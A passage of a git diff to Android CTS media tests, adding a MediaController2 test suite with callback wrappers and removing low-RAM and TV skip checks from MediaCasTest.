+ assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } else {
+ assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Override
+ public void onPlaybackInfoChanged(MediaController2 controller,
+ MediaController2.PlaybackInfo info) {
+ mCallbackProxy.onPlaybackInfoChanged(controller, info);
+ }
+
+ @Override
+ public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+ Bundle args, ResultReceiver receiver) {
+ mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+ }
+
+ @Override
+ public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+ mCallbackProxy.onCustomLayoutChanged(controller, layout);
+ }
+
+ @Override
+ public void onAllowedCommandsChanged(MediaController2 controller,
+ SessionCommandGroup2 commands) {
+ mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+ }
+
+ @Override
+ public void onPlayerStateChanged(MediaController2 controller, int state) {
+ mCallbackProxy.onPlayerStateChanged(controller, state);
+ }
+
+ @Override
+ public void onSeekCompleted(MediaController2 controller, long position) {
+ mCallbackProxy.onSeekCompleted(controller, position);
+ }
+
+ @Override
+ public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+ mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+ }
+
+ @Override
+ public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+ int state) {
+ mCallbackProxy.onBufferingStateChanged(controller, item, state);
+ }
+
+ @Override
+ public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+ mCallbackProxy.onError(controller, errorCode, extras);
+ }
+
+ @Override
+ public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+ mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+ }
+
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> list, MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+ }
+
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+ }
+
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+ }
+
+ @Override
+ public void onGetLibraryRootDone(MediaBrowser2 browser, Bundle rootHints,
+ String rootMediaId, Bundle rootExtra) {
+ super.onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+ }
+ }
+
+ @Override
+ public void onGetItemDone(MediaBrowser2 browser, String mediaId, MediaItem2 result) {
+ super.onGetItemDone(browser, mediaId, result);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy).onGetItemDone(browser, mediaId, result);
+ }
+ }
+
+ @Override
+ public void onGetChildrenDone(MediaBrowser2 browser, String parentId, int page,
+ int pageSize, List<MediaItem2> result, Bundle extras) {
+ super.onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+ }
+ }
+
+ @Override
+ public void onSearchResultChanged(MediaBrowser2 browser, String query, int itemCount,
+ Bundle extras) {
+ super.onSearchResultChanged(browser, query, itemCount, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onSearchResultChanged(browser, query, itemCount, extras);
+ }
+ }
+
+ @Override
+ public void onGetSearchResultDone(MediaBrowser2 browser, String query, int page,
+ int pageSize, List<MediaItem2> result, Bundle extras) {
+ super.onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+ }
+ }
+
+ @Override
+ public void onChildrenChanged(MediaBrowser2 browser, String parentId, int itemCount,
+ Bundle extras) {
+ super.onChildrenChanged(browser, parentId, itemCount, extras);
+ if (mCallbackProxy instanceof BrowserCallback) {
+ ((BrowserCallback) mCallbackProxy)
+ .onChildrenChanged(browser, parentId, itemCount, extras);
+ }
+ }
+ }
+
+ public class TestMediaBrowser extends MediaBrowser2 implements TestControllerInterface {
+ private final BrowserCallback mCallback;
+
+ public TestMediaBrowser(@NonNull Context context, @NonNull SessionToken2 token,
+ @NonNull ControllerCallback callback) {
+ super(context, token, sHandlerExecutor, (BrowserCallback) callback);
+ mCallback = (BrowserCallback) callback;
+ }
+
+ @Override
+ public BrowserCallback getCallback() {
+ return mCallback;
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index f28613a..692542d 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -16,9 +16,6 @@
package android.media.cts;
-import android.content.Context;
-import android.app.ActivityManager;
-import android.content.pm.PackageManager;
import android.media.MediaCas;
import android.media.MediaCas.PluginDescriptor;
import android.media.MediaCas.Session;
@@ -154,10 +151,6 @@
* be instantiated.
*/
public void testEnumeratePlugins() throws Exception {
- if (isLowRam() && !isTV()){
- Log.d(TAG, "Skipping testEnumetaePlugins.");
- return;
- }
PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
for (int i = 0; i < descriptors.length; i++) {
Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
@@ -200,10 +193,6 @@
}
public void testInvalidSystemIdFails() throws Exception {
- if (isLowRam() && !isTV()){
- Log.d(TAG, "Skipping testInvalidSystemIdFails.");
- return;
- }
assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
MediaCas.isSystemIdSupported(sInvalidSystemId));
@@ -235,10 +224,6 @@
}
public void testClearKeyPluginInstalled() throws Exception {
- if (isLowRam() && !isTV()){
- Log.d(TAG, "Skipping testClearKeyPluginInstalled.");
- return;
- }
PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
for (int i = 0; i < descriptors.length; i++) {
if (descriptors[i].getSystemId() == sClearKeySystemId) {
@@ -252,10 +237,6 @@
* Test that valid call sequences succeed.
*/
public void testClearKeyApis() throws Exception {
- if (isLowRam() && !isTV()){
- Log.d(TAG, "Skipping testClearKeyApis.");
- return;
- }
MediaCas mediaCas = null;
MediaDescrambler descrambler = null;
@@ -335,10 +316,6 @@
* Test that all sessions are closed after a MediaCas object is released.
*/
public void testClearKeySessionClosedAfterRelease() throws Exception {
- if (isLowRam() && !isTV()){
- Log.d(TAG, "Skipping testClearKeySessionClosedAfterRelease.");
- return;
- }
MediaCas mediaCas = null;
MediaDescrambler descrambler = null;
@@ -388,10 +365,6 @@
* Test that invalid call sequences fail with expected exceptions.
*/
public void testClearKeyExceptions() throws Exception {
- if (isLowRam() && !isTV()){
- Log.d(TAG, "Skipping testClearKeyExceptions.");
- return;
- }
MediaCas mediaCas = null;
MediaDescrambler descrambler = null;
@@ -588,13 +561,4 @@
}
return Arrays.copyOfRange(tempArray, 0, i);
}
-
- private boolean isTV() {
- return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
- }
-
- private boolean isLowRam() {
- ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
- return am.isLowRamDevice();
- }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
new file mode 100644
index 0000000..755801d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -0,0 +1,1132 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.VolumeProvider2;
+import android.media.cts.TestServiceRegistry.SessionServiceCallback;
+import android.media.cts.TestUtils.SyncHandler;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link MediaController2}.
+ */
+// TODO(jaewan): Implement host-side test so controller and session can run in different processes.
+// TODO(jaewan): Fix flaky failure -- see MediaController2Impl.getController()
+// TODO(jaeawn): Revisit create/close session in the sHandler. It's no longer necessary.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@FlakyTest
+@Ignore
+public class MediaController2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaController2Test";
+
+ PendingIntent mIntent;
+ MediaSession2 mSession;
+ MediaController2 mController;
+ MockPlayer mPlayer;
+ MockPlaylistAgent mMockAgent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ final Intent sessionActivity = new Intent(mContext, MockActivity.class);
+ // Create this test specific MediaSession2 to use our own Handler.
+ mIntent = PendingIntent.getActivity(mContext, 0, sessionActivity, 0);
+
+ mPlayer = new MockPlayer(1);
+ mMockAgent = new MockPlaylistAgent();
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(mMockAgent)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ return super.onConnect(session, controller);
+ }
+ return null;
+ }
+
+ @Override
+ public void onPlaylistMetadataChanged(MediaSession2 session,
+ MediaPlaylistAgent playlistAgent,
+ MediaMetadata2 metadata) {
+ super.onPlaylistMetadataChanged(session, playlistAgent, metadata);
+ }
+ })
+ .setSessionActivity(mIntent)
+ .setId(TAG).build();
+ mController = createController(mSession.getToken());
+ TestServiceRegistry.getInstance().setHandler(sHandler);
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ if (mSession != null) {
+ mSession.close();
+ }
+ TestServiceRegistry.getInstance().cleanUp();
+ }
+
+ /**
+ * Test if the {@link MediaSession2TestBase.TestControllerCallback} wraps the callback proxy
+ * without missing any method.
+ */
+ @Test
+ public void testTestControllerCallback() {
+ Method[] methods = TestControllerCallback.class.getMethods();
+ assertNotNull(methods);
+ for (int i = 0; i < methods.length; i++) {
+ // For any methods in the controller callback, TestControllerCallback should have
+ // overriden the method and call matching API in the callback proxy.
+ assertNotEquals("TestControllerCallback should override " + methods[i]
+ + " and call callback proxy",
+ ControllerCallback.class, methods[i].getDeclaringClass());
+ }
+ }
+
+ @Test
+ public void testPlay() {
+ mController.play();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPlayCalled);
+ }
+
+ @Test
+ public void testPause() {
+ mController.pause();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPauseCalled);
+ }
+
+ @Ignore
+ @Test
+ public void testStop() {
+ mController.stop();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mStopCalled);
+ }
+
+ @Test
+ public void testPrepare() {
+ mController.prepare();
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mPrepareCalled);
+ }
+
+ @Test
+ public void testFastForward() {
+ // TODO(jaewan): Implement
+ }
+
+ @Test
+ public void testRewind() {
+ // TODO(jaewan): Implement
+ }
+
+ @Test
+ public void testSeekTo() {
+ final long seekPosition = 12125L;
+ mController.seekTo(seekPosition);
+ try {
+ assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail(e.getMessage());
+ }
+ assertTrue(mPlayer.mSeekToCalled);
+ assertEquals(seekPosition, mPlayer.mSeekPosition);
+ }
+
+ @Test
+ public void testGettersAfterConnected() throws InterruptedException {
+ final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final long position = 150000;
+ final long bufferedPosition = 900000;
+
+ mPlayer.mLastPlayerState = state;
+ mPlayer.mCurrentPosition = position;
+ mPlayer.mBufferedPosition = bufferedPosition;
+
+ MediaController2 controller = createController(mSession.getToken());
+ assertEquals(state, controller.getPlayerState());
+ assertEquals(bufferedPosition, controller.getBufferedPosition());
+ // TODO (jaewan): Enable this test when Session2/Controller2's get(set)PlaybackSpeed
+ // is implemented. (b/74093080)
+ //assertEquals(speed, controller.getPlaybackSpeed());
+ //assertEquals(position + speed * elapsedTime, controller.getPosition(), delta);
+ }
+
+ @Test
+ public void testGetSessionActivity() {
+ PendingIntent sessionActivity = mController.getSessionActivity();
+ assertEquals(mContext.getPackageName(), sessionActivity.getCreatorPackage());
+ assertEquals(Process.myUid(), sessionActivity.getCreatorUid());
+ }
+
+ @Test
+ public void testSetPlaylist() throws InterruptedException {
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ mController.setPlaylist(list, null /* Metadata */);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetPlaylistCalled);
+ assertNull(mMockAgent.mMetadata);
+
+ assertNotNull(mMockAgent.mPlaylist);
+ assertEquals(list.size(), mMockAgent.mPlaylist.size());
+ for (int i = 0; i < list.size(); i++) {
+ // MediaController2.setPlaylist does not ensure the equality of the items.
+ assertEquals(list.get(i).getMediaId(), mMockAgent.mPlaylist.get(i).getMediaId());
+ }
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onPlaylistChanged(
+ * MediaController2, List, MediaMetadata2)}.
+ */
+ @Test
+ public void testGetPlaylist() throws InterruptedException {
+ final List<MediaItem2> testList = TestUtils.createPlaylist(2);
+ final AtomicReference<List<MediaItem2>> listFromCallback = new AtomicReference<>();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistChanged(MediaController2 controller,
+ List<MediaItem2> playlist, MediaMetadata2 metadata) {
+ assertNotNull(playlist);
+ assertEquals(testList.size(), playlist.size());
+ for (int i = 0; i < playlist.size(); i++) {
+ assertEquals(testList.get(i).getMediaId(), playlist.get(i).getMediaId());
+ }
+ listFromCallback.set(playlist);
+ latch.countDown();
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return testList;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testControllerCallback_onPlaylistChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(
+ session.getToken(), true, callback);
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(listFromCallback.get(), controller.getPlaylist());
+ }
+ }
+
+ @Test
+ public void testUpdatePlaylistMetadata() throws InterruptedException {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ mController.updatePlaylistMetadata(testMetadata);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+ assertNotNull(mMockAgent.mMetadata);
+ assertEquals(testMetadata.getMediaId(), mMockAgent.mMetadata.getMediaId());
+ }
+
+ @Test
+ public void testGetPlaylistMetadata() throws InterruptedException {
+ final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+ final AtomicReference<MediaMetadata2> metadataFromCallback = new AtomicReference<>();
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ assertNotNull(testMetadata);
+ assertEquals(testMetadata.getMediaId(), metadata.getMediaId());
+ metadataFromCallback.set(metadata);
+ latch.countDown();
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return testMetadata;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testGetPlaylistMetadata")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(session.getToken(), true, callback);
+ agent.notifyPlaylistMetadataChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(metadataFromCallback.get().getMediaId(),
+ controller.getPlaylistMetadata().getMediaId());
+ }
+ }
+
+ /**
+ * Test whether {@link MediaSession2#setPlaylist(List, MediaMetadata2)} is notified
+ * through the
+ * {@link ControllerCallback#onPlaylistMetadataChanged(MediaController2, MediaMetadata2)}
+ * if the controller doesn't have {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST} but
+ * {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST_METADATA}.
+ */
+ @Test
+ public void testControllerCallback_onPlaylistMetadataChanged() throws InterruptedException {
+ final MediaItem2 item = TestUtils.createMediaItemWithMetadata();
+ final List<MediaItem2> list = TestUtils.createPlaylist(2);
+ final CountDownLatch latch = new CountDownLatch(2);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onPlaylistMetadataChanged(MediaController2 controller,
+ MediaMetadata2 metadata) {
+ assertNotNull(metadata);
+ assertEquals(item.getMediaId(), metadata.getMediaId());
+ latch.countDown();
+ }
+ };
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ SessionCommandGroup2 commands = new SessionCommandGroup2();
+ commands.addCommand(new SessionCommand2(
+ SessionCommand2.COMMAND_CODE_PLAYLIST_GET_LIST_METADATA));
+ return commands;
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public MediaMetadata2 getPlaylistMetadata() {
+ return item.getMetadata();
+ }
+
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setId("testControllerCallback_onPlaylistMetadataChanged")
+ .setSessionCallback(sHandlerExecutor, sessionCallback)
+ .setPlaylistAgent(agent)
+ .build()) {
+ MediaController2 controller = createController(session.getToken(), true, callback);
+ agent.notifyPlaylistMetadataChanged();
+ // It also calls onPlaylistMetadataChanged() if it doesn't have permission for getList()
+ agent.notifyPlaylistChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testAddPlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mController.addPlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mAddPlaylistItemCalled);
+ assertEquals(testIndex, mMockAgent.mIndex);
+ // MediaController2.addPlaylistItem does not ensure the equality of the items.
+ assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+ }
+
+ @Test
+ public void testRemovePlaylistItem() throws InterruptedException {
+ mMockAgent.mPlaylist = TestUtils.createPlaylist(2);
+
+ // Recreate controller for sending removePlaylistItem.
+ // It's easier to ensure that MediaController2.getPlaylist() returns the playlist from the
+ // agent.
+ MediaController2 controller = createController(mSession.getToken());
+ MediaItem2 targetItem = controller.getPlaylist().get(0);
+ controller.removePlaylistItem(targetItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+ assertEquals(targetItem, mMockAgent.mItem);
+ }
+
+ @Test
+ public void testReplacePlaylistItem() throws InterruptedException {
+ final int testIndex = 12;
+ final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+ mController.replacePlaylistItem(testIndex, testMediaItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+ // MediaController2.replacePlaylistItem does not ensure the equality of the items.
+ assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+ }
+
+ @Test
+ public void testSkipToPreviousItem() throws InterruptedException {
+ mController.skipToPreviousItem();
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mMockAgent.mSkipToPreviousItemCalled);
+ }
+
+ @Test
+ public void testSkipToNextItem() throws InterruptedException {
+ mController.skipToNextItem();
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mMockAgent.mSkipToNextItemCalled);
+ }
+
+ @Test
+ public void testSkipToPlaylistItem() throws InterruptedException {
+ MediaController2 controller = createController(mSession.getToken());
+ MediaItem2 targetItem = TestUtils.createMediaItemWithMetadata();
+ controller.skipToPlaylistItem(targetItem);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSkipToPlaylistItemCalled);
+ assertEquals(targetItem, mMockAgent.mItem);
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onShuffleModeChanged(MediaController2, int)}.
+ */
+ @Test
+ public void testGetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getShuffleMode() {
+ return testShuffleMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ assertEquals(testShuffleMode, shuffleMode);
+ latch.countDown();
+ }
+ };
+ mSession.updatePlayer(mPlayer, agent, null);
+ MediaController2 controller = createController(mSession.getToken(), true, callback);
+ agent.notifyShuffleModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(testShuffleMode, controller.getShuffleMode());
+ }
+
+ @Test
+ public void testSetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ mController.setShuffleMode(testShuffleMode);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetShuffleModeCalled);
+ assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onRepeatModeChanged(MediaController2, int)}.
+ */
+ @Test
+ public void testGetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getRepeatMode() {
+ return testRepeatMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ assertEquals(testRepeatMode, repeatMode);
+ latch.countDown();
+ }
+ };
+ mSession.updatePlayer(mPlayer, agent, null);
+ MediaController2 controller = createController(mSession.getToken(), true, callback);
+ agent.notifyRepeatModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(testRepeatMode, controller.getRepeatMode());
+ }
+
+ @Test
+ public void testSetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ mController.setRepeatMode(testRepeatMode);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetRepeatModeCalled);
+ assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+ }
+
+ @Test
+ public void testSetVolumeTo() throws Exception {
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ TestVolumeProvider volumeProvider =
+ new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+ mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+ final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+ final int targetVolume = 50;
+ controller.setVolumeTo(targetVolume, 0 /* flags */);
+ assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(volumeProvider.mSetVolumeToCalled);
+ assertEquals(targetVolume, volumeProvider.mVolume);
+ }
+
+ @Test
+ public void testAdjustVolume() throws Exception {
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ TestVolumeProvider volumeProvider =
+ new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+ mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+ final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+ final int direction = AudioManager.ADJUST_RAISE;
+ controller.adjustVolume(direction, 0 /* flags */);
+ assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(volumeProvider.mAdjustVolumeCalled);
+ assertEquals(direction, volumeProvider.mDirection);
+ }
+
+ @Test
+ public void testGetPackageName() {
+ assertEquals(mContext.getPackageName(), mController.getSessionToken().getPackageName());
+ }
+
+ @Test
+ public void testSendCustomCommand() throws InterruptedException {
+ // TODO(jaewan): Need to revisit with the permission.
+ final SessionCommand2 testCommand =
+ new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+ final Bundle testArgs = new Bundle();
+ testArgs.putString("args", "testSendCustomAction");
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onCustomCommand(MediaSession2 session, ControllerInfo controller,
+ SessionCommand2 customCommand, Bundle args, ResultReceiver cb) {
+ super.onCustomCommand(session, controller, customCommand, args, cb);
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(testCommand, customCommand);
+ assertTrue(TestUtils.equals(testArgs, args));
+ assertNull(cb);
+ latch.countDown();
+ }
+ };
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback).setId(TAG).build();
+ final MediaController2 controller = createController(mSession.getToken());
+ controller.sendCustomCommand(testCommand, testArgs, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testControllerCallback_onConnected() throws InterruptedException {
+ // createController() uses controller callback to wait until the controller becomes
+ // available.
+ MediaController2 controller = createController(mSession.getToken());
+ assertNotNull(controller);
+ }
+
+ @Test
